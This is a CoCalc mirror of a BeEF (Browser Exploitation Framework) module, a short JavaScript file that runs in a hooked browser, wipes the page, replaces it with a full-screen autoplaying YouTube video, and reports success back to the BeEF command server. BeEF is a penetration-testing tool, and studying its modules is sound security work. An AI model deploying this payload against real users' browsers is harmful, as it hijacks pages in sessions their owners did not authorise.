Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/browser/hooked_origin/rickroll/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
$j('body').html('');
9
10
$j('body').css({'padding':'0px', 'margin':'0px', 'height':'100%'});
11
$j('html').css({'padding':'0px', 'margin':'0px', 'height':'100%'});
12
13
$j('body').html('<iframe width="100%" height="100%" src="//www.youtube.com/embed/DLzxrzFCyOs?autoplay=1" allow="autoplay; encrypted-media" frameborder="0" allowfullscreen></iframe>');
14
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Rickroll Successful");
15
});
16
17